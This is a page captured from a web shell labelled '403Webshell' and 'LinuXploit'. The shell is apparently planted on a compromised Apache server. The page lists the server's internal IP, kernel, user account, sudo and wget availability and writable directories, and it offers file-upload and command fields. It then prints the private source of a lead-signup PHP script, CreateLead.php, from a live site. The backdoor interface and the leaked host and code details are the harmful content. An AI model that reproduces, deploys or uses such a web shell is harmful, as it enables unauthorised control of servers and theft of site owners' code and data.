403Webshell
Server IP : 10.200.247.200  /  Your IP : 216.73.217.19
Web Server : Apache
System : Linux synergy-usa-sites 6.8.0-138-generic #138-Ubuntu SMP PREEMPT_DYNAMIC Fri Jul 31 22:41:49 UTC 2026 x86_64
User : jeremy ( 1001)
PHP Version : 8.4.25
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/usa_sites/pcisecureform.com/lcapi/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/usa_sites/pcisecureform.com/lcapi/CreateLead.php
<?
require_once($_SERVER['DOCUMENT_ROOT'].'/php/db_config_lc_user.php'); 
require_once("{$_SERVER["DOCUMENT_ROOT"]}/lcapi/inc/UserSignup.php");
require_once("{$_SERVER["DOCUMENT_ROOT"]}/lcapi/inc/Logger.php");
require_once("{$_SERVER["DOCUMENT_ROOT"]}/lcapi/inc/common.php");
$site = (isset($_REQUEST['site']) && $_REQUEST['site'] != '') ? preg_replace('/[^a-zA-Z0-9]/','',$_REQUEST['site']) : '';  
if(!$db = connect_lc2user_new('lc2'.$site.'_lc')) {
	SendError(__FILE__." at line ".__LINE__, "Failure to connect to database (lc2".$site."_lc). MySQL: ".$db->error());
	die("Failure: Unable to connect to database.");  
}
//$db->debug_all = true; 
//$db->show_errors();
SendDebug(__FILE__);
$user = new UserSignup($db, $site);
if (!$user->LoadLead()) {
	SendError("LoadLead() in ".__FILE__." at line ".__LINE__,$user->lasterror);
	die("Failure: " . $user->lasterror);
}  
if (!$user->CreateLead()) {
	SendError("CreateLead() in ".__FILE__." at line ".__LINE__,$user->lasterror);
	die("Failure: Unable to create lead. " . $user->lasterror);
}

/*include_once($_SERVER['DOCUMENT_ROOT'].'/php/txtwire_usa.php');
$sres = $db->get_results("SELECT site_name FROM lc2admin.site WHERE site_code='".$db->clean($site)."'");
$body = "Thank you for registering for {$sres[0]->site_name}.\nReply STOP to opt-out";
send_text($user->phone,$body,'usa','Text Opt In',$site);
$db->query("UPDATE lc2{$site}_lc.lc_leads SET sent_opt_in_text=1 WHERE id='".$db->clean($user->leadid)."'");
*/
// If we got here then everything was good!
die("Success: " . $user->leadid);

Youez - 2016 - github.com/yon3zu
LinuXploit